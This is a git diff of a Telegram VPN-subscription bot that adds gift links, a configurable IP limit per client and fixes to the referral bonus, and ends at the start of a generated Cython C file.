diff --git a/assets/schema.sql b/assets/schema.sql index 4659ed3e..05766f42 100644 --- a/assets/schema.sql +++ b/assets/schema.sql @@ -83,5 +83,20 @@ CREATE TABLE IF NOT EXISTS servers api_url TEXT NOT NULL, subscription_url TEXT NOT NULL, inbound_id TEXT NOT NULL, - UNIQUE (cluster_name, server_name) -- Уникальность по названию кластера и сервера + UNIQUE (cluster_name, server_name) +); + + +CREATE TABLE IF NOT EXISTS gifts +( + gift_id TEXT PRIMARY KEY NOT NULL, + sender_tg_id BIGINT NOT NULL, + selected_months INTEGER NOT NULL, + expiry_time TIMESTAMP WITH TIME ZONE NOT NULL, + gift_link TEXT NOT NULL, + created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP, + is_used BOOLEAN NOT NULL DEFAULT FALSE, + recipient_tg_id BIGINT, + CONSTRAINT fk_sender FOREIGN KEY (sender_tg_id) REFERENCES users (tg_id), + CONSTRAINT fk_recipient FOREIGN KEY (recipient_tg_id) REFERENCES users (tg_id) ); \ No newline at end of file diff --git a/backup.py b/backup.py index 329d7a22..c6811fa7 100644 --- a/backup.py +++ b/backup.py @@ -3,8 +3,8 @@ import subprocess from datetime import datetime from aiogram.types import BufferedInputFile -from config import ADMIN_ID, BACK_DIR, DB_NAME, DB_PASSWORD, DB_USER +from config import ADMIN_ID, BACK_DIR, DB_NAME, DB_PASSWORD, DB_USER from logger import logger diff --git a/bot.py b/bot.py index 8799cd3c..16ef87d6 100644 --- a/bot.py +++ b/bot.py @@ -5,8 +5,8 @@ from aiogram.client.default import DefaultBotProperties from aiogram.enums import ParseMode from aiogram.fsm.storage.memory import MemoryStorage from aiogram.types import ErrorEvent -from config import API_TOKEN +from config import API_TOKEN from logger import logger from middlewares.admin import AdminMiddleware from middlewares.database import DatabaseMiddleware @@ -23,7 +23,6 @@ dp.callback_query.middleware(LoggingMiddleware()) dp.message.middleware(AdminMiddleware()) dp.callback_query.middleware(AdminMiddleware()) - dp.message.middleware(UserMiddleware()) dp.callback_query.middleware(UserMiddleware()) diff --git a/client.py b/client.py index 76451786..0ab89e14 100644 --- a/client.py +++ b/client.py @@ -1,5 +1,6 @@ import py3xui +from config import LIMIT_IP from logger import logger @@ -72,7 +73,7 @@ async def extend_client_key( client.sub_id = email client.total_gb = total_gb client.enable = True - client.limit_ip = 1 + client.limit_ip = LIMIT_IP client.inbound_id = inbound_id await xui.client.update(client.id, client) diff --git a/database.py b/database.py index 4a12915c..615aafad 100644 --- a/database.py +++ b/database.py @@ -2,8 +2,8 @@ from datetime import datetime from typing import Any import asyncpg -from config import DATABASE_URL, REFERRAL_BONUS_PERCENTAGES +from config import DATABASE_URL, REFERRAL_BONUS_PERCENTAGES from logger import logger @@ -11,7 +11,6 @@ async def init_db(file_path: str = "assets/schema.sql"): with open(file_path) as file: sql_content = file.read() - # Split the file content into individual SQL statements and connect to the database statements = [stmt.strip() for stmt in sql_content.split(";") if stmt.strip()] conn = await asyncpg.connect(DATABASE_URL) @@ -92,7 +91,6 @@ async def get_all_coupons(session: Any): Exception: В случае ошибки при получении данных из базы """ try: - # Выполняем запрос на получение всех купонов из базы данных coupons = await session.fetch( """ SELECT code, amount, usage_limit, usage_count @@ -100,12 +98,10 @@ async def get_all_coupons(session: Any): """ ) - # Логируем успешное получение списка купонов logger.info(f"Успешно получено {len(coupons)} купонов из базы данных") return coupons except Exception as e: - # Подробное логирование ошибки при получении купонов logger.error(f"Критическая ошибка при получении списка купонов: {e}") logger.exception("Трассировка стека ошибки получения купонов") return [] @@ -129,7 +125,6 @@ async def delete_coupon_from_db(coupon_code: str, session: Any): result = await delete_coupon_from_db('SALE50', session) """ try: - # Проверяем существование купона в базе данных coupon_record = await session.fetchrow( """ SELECT id FROM coupons WHERE code = $1 @@ -137,12 +132,10 @@ async def delete_coupon_from_db(coupon_code: str, session: Any): coupon_code, ) - # Если купон не найден, возвращаем False if not coupon_record: logger.info(f"Купон {coupon_code} не найден в базе данных") return False - # Удаляем купон из базы данных await session.execute( """ DELETE FROM coupons WHERE code = $1 @@ -150,12 +143,10 @@ async def delete_coupon_from_db(coupon_code: str, session: Any): coupon_code, ) - # Логируем успешное удаление купона logger.info(f"Купон {coupon_code} успешно удален из базы данных") return True except Exception as e: - # Логируем ошибку на русском с подробным описанием logger.error(f"Произошла ошибка при удалении купона {coupon_code}: {e}") return False @@ -577,12 +568,11 @@ async def get_all_users(conn): async def add_referral(referred_tg_id: int, referrer_tg_id: int, session: Any): try: - # Если айди приглашенного совпадает с айди пригласившего + if referred_tg_id == referrer_tg_id: logger.warning(f"Пользователь {referred_tg_id} попытался использовать свою собственную реферальную ссылку.") return - # Вставка записи о реферале в базу данных await session.execute( """ INSERT INTO referrals (referred_tg_id, referrer_tg_id) @@ -619,7 +609,6 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): logger.info(f"Начало обработки реферальной системы для пользователя {tg_id}") MAX_REFERRAL_LEVELS = len(REFERRAL_BONUS_PERCENTAGES.keys()) - visited_tg_ids = set() current_tg_id = tg_id @@ -644,11 +633,16 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): ) if not referral: + logger.info(f"Цепочка рефералов завершена на уровне {level}.") break referrer_tg_id = referral["referrer_tg_id"] - referral_chain.append({"tg_id": referrer_tg_id, "level": level}) + if referrer_tg_id in visited_tg_ids: + logger.warning(f"Реферер {referrer_tg_id} уже обработан. Пропуск.") + break + + referral_chain.append({"tg_id": referrer_tg_id, "level": level}) current_tg_id = referrer_tg_id for referral in referral_chain: @@ -656,14 +650,16 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): level = referral["level"] bonus_percent = REFERRAL_BONUS_PERCENTAGES.get(level, 0) - bonus = amount * bonus_percent - bonus = max(bonus, 0) + if bonus_percent <= 0: + logger.warning(f"Процент бонуса для уровня {level} равен 0. Пропуск.") + continue + + bonus = round(amount * bonus_percent, 2) if bonus > 0: logger.info( - f"Начисление бонуса {bonus} рублей рефереру {referrer_tg_id} на уровне {level}" + f"Начисление бонуса {bonus} рублей рефереру {referrer_tg_id} на уровне {level}." ) - await update_balance(referrer_tg_id, bonus) except Exception as e: @@ -676,22 +672,6 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): async def get_referral_stats(referrer_tg_id: int): - """ - Получение подробной статистики рефералов для указанного пользователя. - - Args: - referrer_tg_id (int): Telegram ID пользователя, для которого запрашивается статистика рефералов. - - Returns: - dict: Словарь с детальной статистикой рефералов, содержащий: - - total_referrals (int): Общее количество рефералов - - active_referrals (int): Количество активных рефералов (с начисленным бонусом) - - referrals_by_level (dict): Количество рефералов по каждому уровню - - total_referral_bonus (float): Общая сумма бонусов от рефералов - - Raises: - Exception: В случае ошибки при подключении к базе данных или выполнении запроса - """ conn = None try: conn = await asyncpg.connect(DATABASE_URL) @@ -699,25 +679,22 @@ async def get_referral_stats(referrer_tg_id: int): f"Установлено подключение к базе данных для получения статистики рефералов пользователя {referrer_tg_id}" ) - # Общее количество рефералов total_referrals = await conn.fetchval( """ SELECT COUNT(*) FROM referrals WHERE referrer_tg_id = $1 - """, + """, referrer_tg_id, ) logger.debug(f"Получено общее количество рефералов: {total_referrals}") - # Активные рефералы active_referrals = await conn.fetchval( """ SELECT COUNT(*) FROM referrals WHERE referrer_tg_id = $1 AND reward_issued = TRUE - """, + """, referrer_tg_id, ) logger.debug(f"Получено количество активных рефералов: {active_referrals}") - # Рефералы по уровням referrals_by_level_records = await conn.fetch( """ WITH RECURSIVE referral_levels AS ( @@ -739,11 +716,10 @@ async def get_referral_stats(referrer_tg_id: int): JOIN referrals r ON rl.referred_tg_id = r.referred_tg_id GROUP BY level ORDER BY level - """, + """, referrer_tg_id, ) - # Преобразование результатов в словарь referrals_by_level = { record["level"]: { "total": record["level_count"], @@ -753,17 +729,37 @@ async def get_referral_stats(referrer_tg_id: int): } logger.debug(f"Получена статистика рефералов по уровням: {referrals_by_level}") - # Общая сумма бонусов от рефералов total_referral_bonus = await conn.fetchval( """ - SELECT COALESCE(SUM(amount), 0) - FROM payments - WHERE tg_id IN ( - SELECT referred_tg_id + WITH RECURSIVE referral_levels AS ( + SELECT + referred_tg_id, + referrer_tg_id, + 1 AS level FROM referrals WHERE referrer_tg_id = $1 - ) AND status = 'success' - """, + + UNION + + SELECT + r.referred_tg_id, + r.referrer_tg_id, + rl.level + 1 + FROM referrals r + JOIN referral_levels rl ON r.referrer_tg_id = rl.referred_tg_id + WHERE rl.level < 5 + ) + SELECT + SUM(p.amount * CASE + WHEN rl.level = 1 THEN 0.25 + WHEN rl.level = 2 THEN 0.10 + WHEN rl.level = 3 THEN 0.05 + ELSE 0 + END) AS total_bonus + FROM referral_levels rl + JOIN payments p ON rl.referred_tg_id = p.tg_id + WHERE p.status = 'success' + """, referrer_tg_id, ) logger.debug( @@ -788,6 +784,7 @@ async def get_referral_stats(referrer_tg_id: int): logger.info("Закрытие подключения к базе данных") + async def update_key_expiry(client_id: str, new_expiry_time: int): """ Обновление времени истечения ключа для указанного клиента. @@ -1204,7 +1201,7 @@ async def get_servers_from_db(): async def delete_user_data(session: Any, tg_id: int): - + try: await session.execute("DELETE FROM gifts WHERE sender_tg_id = $1 OR recipient_tg_id = $1", tg_id) except Exception as e: @@ -1216,3 +1213,56 @@ async def delete_user_data(session: Any, tg_id: int): await session.execute("DELETE FROM connections WHERE tg_id = $1", tg_id) await session.execute("DELETE FROM keys WHERE tg_id = $1", tg_id) await session.execute("DELETE FROM referrals WHERE referrer_tg_id = $1", tg_id) + + +async def store_gift_link( + gift_id: str, sender_tg_id: int, selected_months: int, expiry_time: datetime, gift_link: str, session: Any = None +): + """ + Добавляет информацию о подарке в базу данных. + + Args: + gift_id (str): Уникальный идентификатор подарка + sender_tg_id (int): Идентификатор пользователя, который отправил подарок + selected_months (int): Количество месяцев подписки + expiry_time (datetime): Время окончания подписки + gift_link (str): Ссылка для активации подарка + session (Any): Сессия базы данных для выполнения запроса + + Returns: + bool: True, если информация о подарке успешно добавлена, иначе False + + Raises: + Exception: В случае ошибки при сохранении информации о подарке + """ + conn = None + try: + conn = session if session is not None else await asyncpg.connect(DATABASE_URL) + + result = await conn.execute( + """ + INSERT INTO gifts (gift_id, sender_tg_id, recipient_tg_id, selected_months, expiry_time, gift_link, created_at, is_used) + VALUES ($1, $2, NULL, $3, $4, $5, $6, FALSE) + """, + gift_id, + sender_tg_id, + selected_months, + expiry_time, + gift_link, + datetime.utcnow(), + ) + + if result: + logger.info(f"Подарок с ID {gift_id} успешно добавлен в базу данных.") + return True + else: + logger.error(f"Не удалось добавить подарок с ID {gift_id} в базу данных.") + return False + except Exception as e: + + logger.error(f"Ошибка при сохранении подарка с ID {gift_id} в базе данных: {e}") + return False + + finally: + if conn is not None and session is None: + await conn.close() diff --git a/filters/admin.py b/filters/admin.py index d940b31f..81f80564 100644 --- a/filters/admin.py +++ b/filters/admin.py @@ -1,6 +1,7 @@ from aiogram.filters import BaseFilter from aiogram.types import Message + from config import ADMIN_ID diff --git a/handlers/__init__.py b/handlers/__init__.py index f984092c..879c3c1b 100644 --- a/handlers/__init__.py +++ b/handlers/__init__.py @@ -21,6 +21,7 @@ router.include_routers( pay_router, donate_router, coupons_router, + notifications_router, payments_router, keys_router, diff --git a/handlers/admin/admin_servers.py b/handlers/admin/admin_servers.py index 8a030119..ba178b41 100644 --- a/handlers/admin/admin_servers.py +++ b/handlers/admin/admin_servers.py @@ -4,10 +4,10 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL from py3xui import AsyncApi from backup import create_backup_and_send_to_admins +from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL from database import check_unique_server_name, get_servers_from_db from filters.admin import IsAdminFilter diff --git a/handlers/admin/admin_user_editor.py b/handlers/admin/admin_user_editor.py index 3e00bed1..fd57f4c8 100644 --- a/handlers/admin/admin_user_editor.py +++ b/handlers/admin/admin_user_editor.py @@ -7,16 +7,9 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder + from config import TOTAL_GB - -from database import ( - get_client_id_by_email, - get_servers_from_db, - restore_trial, - update_key_expiry, - delete_user_data -) - +from database import delete_user_data, get_client_id_by_email, get_servers_from_db, restore_trial, update_key_expiry from filters.admin import IsAdminFilter from handlers.keys.key_utils import ( delete_key_from_cluster, diff --git a/handlers/donate.py b/handlers/donate.py index 6a37edc8..ad460085 100644 --- a/handlers/donate.py +++ b/handlers/donate.py @@ -3,8 +3,8 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import RUB_TO_XTR +from config import RUB_TO_XTR from logger import logger diff --git a/handlers/instructions/instructions.py b/handlers/instructions/instructions.py index b8745d92..55436c68 100644 --- a/handlers/instructions/instructions.py +++ b/handlers/instructions/instructions.py @@ -4,8 +4,8 @@ from typing import Any from aiogram import F, Router, types from aiogram.types import BufferedInputFile, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import CONNECT_IOS, CONNECT_WINDOWS, SUPPORT_CHAT_URL +from config import CONNECT_IOS, CONNECT_WINDOWS, SUPPORT_CHAT_URL from handlers.texts import INSTRUCTION_PC, INSTRUCTIONS, KEY_MESSAGE router = Router() diff --git a/handlers/keys/key_management.py b/handlers/keys/key_management.py index 1ef37a36..6c320c79 100644 --- a/handlers/keys/key_management.py +++ b/handlers/keys/key_management.py @@ -8,6 +8,7 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, InlineKeyboardButton, Message from aiogram.utils.keyboard import InlineKeyboardBuilder + from config import ( CONNECT_ANDROID, CONNECT_IOS, @@ -18,7 +19,6 @@ from config import ( SUPPORT_CHAT_URL, TRIAL_TIME, ) - from database import get_balance, get_trial, store_key, update_balance from handlers.keys.key_utils import create_key_on_cluster from handlers.texts import DISCOUNTS, KEY, key_message_success @@ -36,9 +36,7 @@ class Form(StatesGroup): @router.callback_query(F.data == "create_key") -async def process_callback_create_key( - callback_query: CallbackQuery, state: FSMContext, session: Any -): +async def process_callback_create_key(callback_query: CallbackQuery, state: FSMContext, session: Any): server_id = "все сервера" await state.update_data(selected_server_id=server_id) await select_server(callback_query, state, session) @@ -49,14 +47,9 @@ async def select_server(callback_query: CallbackQuery, state: FSMContext, sessio if trial_status == 1: builder = InlineKeyboardBuilder() builder.row( - InlineKeyboardButton( - text="✅ Да, подключить новое устройство", - callback_data="confirm_create_new_key", - ) - ) - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") + InlineKeyboardButton(text="✅ Да, подключить новое устройство", callback_data="confirm_create_new_key") ) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await callback_query.message.answer( text=KEY, @@ -64,31 +57,22 @@ async def select_server(callback_query: CallbackQuery, state: FSMContext, sessio ) await state.update_data(creating_new_key=True) else: - await handle_key_creation( - callback_query.message.chat.id, state, session, callback_query - ) + await handle_key_creation(callback_query.message.chat.id, state, session, callback_query) @router.callback_query(F.data == "confirm_create_new_key") -async def confirm_create_new_key( - callback_query: CallbackQuery, state: FSMContext, session: Any -): +async def confirm_create_new_key(callback_query: CallbackQuery, state: FSMContext, session: Any): tg_id = callback_query.message.chat.id logger.info(f"User {tg_id} confirmed creation of a new key.") - logger.info( - f"Balance for user {tg_id} is sufficient. Proceeding with key creation." - ) + logger.info(f"Balance for user {tg_id} is sufficient. Proceeding with key creation.") await handle_key_creation(tg_id, state, session, callback_query) async def handle_key_creation( - tg_id: int, - state: FSMContext, - session: Any, - message_or_query: Message | CallbackQuery, + tg_id: int, state: FSMContext, session: Any, message_or_query: Message | CallbackQuery ): """Создание ключа с учётом выбора тарифного плана.""" current_time = datetime.utcnow() @@ -98,9 +82,7 @@ async def handle_key_creation( expiry_time = current_time + timedelta(days=TRIAL_TIME) logger.info(f"Assigned 1-day trial to user {tg_id}.") - await session.execute( - "UPDATE connections SET trial = 1 WHERE tg_id = $1", tg_id - ) + await session.execute("UPDATE connections SET trial = 1 WHERE tg_id = $1", tg_id) await create_key(tg_id, expiry_time, state, session, message_or_query) else: builder = InlineKeyboardBuilder() @@ -117,27 +99,21 @@ async def handle_key_creation( builder.row( InlineKeyboardButton( - text=f"📅 {plan_id} мес. - {price}₽{discount_text}", - callback_data=f"select_plan_{plan_id}", + text=f"📅 {plan_id} мес. - {price}₽{discount_text}", callback_data=f"select_plan_{plan_id}" ) ) - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") - ) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await message_or_query.message.answer( - "💳 Выберите тарифный план для создания нового ключа:", - reply_markup=builder.as_markup(), + "💳 Выберите тарифный план для создания нового ключа:", reply_markup=builder.as_markup() ) await state.update_data(tg_id=tg_id) await state.set_state(Form.waiting_for_server_selection) @router.callback_query(F.data.startswith("select_plan_")) -async def select_tariff_plan( - callback_query: CallbackQuery, state: FSMContext, session: Any -): +async def select_tariff_plan(callback_query: CallbackQuery, state: FSMContext, session: Any): tg_id = callback_query.message.chat.id plan_id = callback_query.data.split("_")[-1] plan_price = RENEWAL_PRICES.get(plan_id) @@ -151,12 +127,8 @@ async def select_tariff_plan( balance = await get_balance(tg_id) if balance < plan_price: builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="💳 Пополнить баланс", callback_data="pay") - ) - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") - ) + builder.row(InlineKeyboardButton(text="💳 Пополнить баланс", callback_data="pay")) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await callback_query.message.answer( "💳 Недостаточно средств для создания подписки. Пополните баланс в личном кабинете.", reply_markup=builder.as_markup(), @@ -172,11 +144,7 @@ async def select_tariff_plan( async def create_key( - tg_id: int, - expiry_time: datetime, - state: FSMContext, - session: Any, - message_or_query: Message | CallbackQuery, + tg_id: int, expiry_time: datetime, state: FSMContext, session: Any, message_or_query: Message | CallbackQuery ): """Создаёт ключ с заданным сроком действия.""" while True: @@ -190,9 +158,7 @@ async def create_key( ) if not existing_key: break - logger.warning( - f"Key name '{key_name}' already exists for user {tg_id}. Generating a new one." - ) + logger.warning(f"Key name '{key_name}' already exists for user {tg_id}. Generating a new one.") client_id = str(uuid.uuid4()) email = key_name.lower() @@ -217,21 +183,17 @@ async def create_key( await asyncio.gather(*tasks) logger.info(f"Key created on cluster {least_loaded_cluster} for user {tg_id}.") - await store_key( - tg_id, - client_id, - email, - expiry_timestamp, - public_link, - least_loaded_cluster, - session, - ) + await store_key(tg_id, client_id, email, expiry_timestamp, public_link, least_loaded_cluster, session) except Exception as e: logger.error(f"Error while creating the key for user {tg_id} on cluster: {e}") - await message_or_query.message.answer( - "❌ Произошла ошибка при создании ключа. Пожалуйста, попробуйте снова." - ) + + if isinstance(message_or_query, Message): + await message_or_query.answer("❌ Произошла ошибка при создании ключа. Пожалуйста, попробуйте снова.") + elif isinstance(message_or_query, CallbackQuery): + await message_or_query.message.answer( + "❌ Произошла ошибка при создании ключа. Пожалуйста, попробуйте снова." + ) return builder = InlineKeyboardBuilder() @@ -241,23 +203,19 @@ async def create_key( InlineKeyboardButton(text="🤖 Скачать для Android", url=DOWNLOAD_ANDROID), ) builder.row( - InlineKeyboardButton( - text="🍏 Подключить на iOS", url=f"{CONNECT_IOS}{public_link}" - ), - InlineKeyboardButton( - text="🤖 Подключить на Android", url=f"{CONNECT_ANDROID}{public_link}" - ), - ) - builder.row( - InlineKeyboardButton( - text="💻 Windows/Linux", callback_data=f"connect_pc|{email}" - ) + InlineKeyboardButton(text="🍏 Подключить на iOS", url=f"{CONNECT_IOS}{public_link}"), + InlineKeyboardButton(text="🤖 Подключить на Android", url=f"{CONNECT_ANDROID}{public_link}"), ) + builder.row(InlineKeyboardButton(text="💻 Windows/Linux", callback_data=f"connect_pc|{email}")) builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) remaining_time = expiry_time - datetime.utcnow() days = remaining_time.days key_message = key_message_success(public_link, f"⏳ Осталось дней: {days} 📅") - await message_or_query.message.answer(key_message, reply_markup=builder.as_markup()) + if isinstance(message_or_query, Message): + await message_or_query.answer(key_message, reply_markup=builder.as_markup()) + elif isinstance(message_or_query, CallbackQuery): + await message_or_query.message.answer(key_message, reply_markup=builder.as_markup()) + await state.clear() diff --git a/handlers/keys/key_utils.py b/handlers/keys/key_utils.py index a66e1bec..067f6480 100644 --- a/handlers/keys/key_utils.py +++ b/handlers/keys/key_utils.py @@ -1,10 +1,10 @@ import asyncio import asyncpg -from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL, TOTAL_GB from py3xui import AsyncApi from client import add_client, delete_client, extend_client_key +from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL, LIMIT_IP, TOTAL_GB from database import get_servers_from_db from logger import logger @@ -46,7 +46,7 @@ async def create_key_on_cluster(cluster_id, tg_id, client_id, email, expiry_time client_id, email, tg_id, - limit_ip=1, + limit_ip=LIMIT_IP, total_gb=TOTAL_GB, expiry_time=expiry_timestamp, enable=True, @@ -184,7 +184,7 @@ async def update_key_on_cluster(tg_id, client_id, email, expiry_time, cluster_id client_id, email, tg_id, - limit_ip=1, + limit_ip=LIMIT_IP, total_gb=TOTAL_GB, expiry_time=expiry_time, enable=True, diff --git a/handlers/keys/keys.py b/handlers/keys/keys.py index 48d5e7d8..fa7908cf 100644 --- a/handlers/keys/keys.py +++ b/handlers/keys/keys.py @@ -7,6 +7,7 @@ from typing import Any from aiogram import F, Router, types from aiogram.types import BufferedInputFile, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder + from config import ( CONNECT_ANDROID, CONNECT_IOS, @@ -16,7 +17,6 @@ from config import ( RENEWAL_PLANS, TOTAL_GB, ) - from database import ( delete_key, get_balance, diff --git a/handlers/keys/subscriptions.py b/handlers/keys/subscriptions.py index a6a2c15b..f60730dd 100644 --- a/handlers/keys/subscriptions.py +++ b/handlers/keys/subscriptions.py @@ -4,13 +4,10 @@ from datetime import datetime import aiohttp import asyncpg from aiohttp import web -from config import DATABASE_URL, TRANSITION_DATE_STR +from config import DATABASE_URL, PROJECT_NAME, SUB_MESSAGE, TRANSITION_DATE_STR from database import get_servers_from_db from logger import logger -import urllib.parse - -from config import PROJECT_NAME, SUB_MESSAGE async def fetch_url_content(url, tg_id): @@ -78,12 +75,10 @@ async def handle_old_subscription(request): conn = await asyncpg.connect(DATABASE_URL) try: - key_info = await conn.fetchrow( - "SELECT created_at FROM keys WHERE email = $1", email + "SELECT created_at, server_id FROM keys WHERE email = $1", email ) - if not key_info: logger.warning(f"Клиент с email {email} не найден в базе.") return web.Response( @@ -92,7 +87,14 @@ async def handle_old_subscription(request): ) created_at_ms = key_info["created_at"] - cluster_name = key_info["cluster_name"] + cluster_name = key_info.get("server_id") + if not cluster_name: + logger.warning(f"У клиента с email {email} отсутствует cluster_name.") + return web.Response( + text="❌ Устаревшие данные. Обратитесь в поддержку.", + status=400, + ) + logger.info(f"Значение created_at для клиента с email {email}: {created_at_ms}, кластер: {cluster_name}") created_at_datetime = datetime.utcfromtimestamp(created_at_ms / 1000) @@ -127,7 +129,9 @@ async def handle_old_subscription(request): "Content-Type": "text/plain; charset=utf-8", "Content-Disposition": "inline", "profile-update-interval": "7", - "profile-title": encoded_project_name, + "profile-title": "base64:" + base64.b64encode( + encoded_project_name.encode("utf-8") + ).decode("utf-8"), } logger.info(f"Возвращаем объединенные подписки для email: {email}") @@ -137,6 +141,7 @@ async def handle_old_subscription(request): await conn.close() + async def handle_new_subscription(request): email = request.match_info.get("email") tg_id = request.match_info.get("tg_id") @@ -200,7 +205,9 @@ async def handle_new_subscription(request): "Content-Type": "text/plain; charset=utf-8", "Content-Disposition": "inline", "profile-update-interval": "7", - "profile-title": encoded_project_name, + "profile-title": "base64:" + base64.b64encode( + encoded_project_name.encode("utf-8") + ).decode("utf-8"), } logger.info(f"Возвращаем объединенные подписки для email: {email}") diff --git a/handlers/keys/trial_key.py b/handlers/keys/trial_key.py index fa0f9745..84deef9e 100644 --- a/handlers/keys/trial_key.py +++ b/handlers/keys/trial_key.py @@ -3,10 +3,10 @@ import uuid from datetime import datetime, timedelta from typing import Any -from config import ADMIN_PASSWORD, ADMIN_USERNAME, PUBLIC_LINK, TOTAL_GB, TRIAL_TIME from py3xui import AsyncApi from client import add_client +from config import ADMIN_PASSWORD, ADMIN_USERNAME, PUBLIC_LINK, TOTAL_GB, TRIAL_TIME from database import get_servers_from_db, store_key, use_trial from handlers.texts import INSTRUCTIONS from handlers.utils import generate_random_email, get_least_loaded_cluster diff --git a/handlers/notifications.py b/handlers/notifications.py index c16832f8..7a2b9271 100644 --- a/handlers/notifications.py +++ b/handlers/notifications.py @@ -4,6 +4,8 @@ from datetime import datetime, timedelta import asyncpg from aiogram import Bot, Router, types from aiogram.utils.keyboard import InlineKeyboardBuilder +from py3xui import AsyncApi + from config import ( ADMIN_PASSWORD, ADMIN_USERNAME, @@ -13,8 +15,6 @@ from config import ( TOTAL_GB, TRIAL_TIME, ) -from py3xui import AsyncApi - from database import ( add_notification, check_notification_time, diff --git a/handlers/pay.py b/handlers/pay.py index 6a9c66e9..bbeadd72 100644 --- a/handlers/pay.py +++ b/handlers/pay.py @@ -2,9 +2,15 @@ from aiogram import F, Router from aiogram.types import CallbackQuery, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder - -from config import CRYPTO_BOT_ENABLE, FREEKASSA_ENABLE, ROBOKASSA_ENABLE, STARS_ENABLE, YOOKASSA_ENABLE, DONATIONS_ENABLE, YOOMONEY_ENABLE - +from config import ( + CRYPTO_BOT_ENABLE, + DONATIONS_ENABLE, + FREEKASSA_ENABLE, + ROBOKASSA_ENABLE, + STARS_ENABLE, + YOOKASSA_ENABLE, + YOOMONEY_ENABLE, +) router = Router() diff --git a/handlers/payments/__init__.py b/handlers/payments/__init__.py index aabe25a2..b6605110 100644 --- a/handlers/payments/__init__.py +++ b/handlers/payments/__init__.py @@ -1,6 +1,7 @@ __all__ = ("router",) from aiogram import Router + from config import ( CRYPTO_BOT_ENABLE, FREEKASSA_ENABLE, @@ -11,7 +12,7 @@ from config import ( ) from .cryprobot_pay import router as cryprobot_router -from .freekassa_pay import router as freekassa_router +from .gift import router as gift_router from .robokassa_pay import router as robokassa_router from .stars_pay import router as stars_router from .yookassa_pay import router as yookassa_router @@ -23,11 +24,11 @@ if YOOKASSA_ENABLE: router.include_router(yookassa_router) if YOOMONEY_ENABLE: router.include_router(yoomoney_router) -if FREEKASSA_ENABLE: - router.include_router(freekassa_router) if ROBOKASSA_ENABLE: router.include_router(robokassa_router) if CRYPTO_BOT_ENABLE: router.include_router(cryprobot_router) if STARS_ENABLE: router.include_router(stars_router) + +router.include_router(gift_router) diff --git a/handlers/payments/cryprobot_pay.c b/handlers/payments/cryprobot_pay.c new file mode 100644 index 00000000..2281c185 --- /dev/null +++ b/handlers/payments/cryprobot_pay.c @@ -0,0 +1,20187 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.cryprobot_pay", + "sources": [ + "handlers/payments/cryprobot_pay.py" + ] + }, + "module_name": "handlers.payments.cryprobot_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX 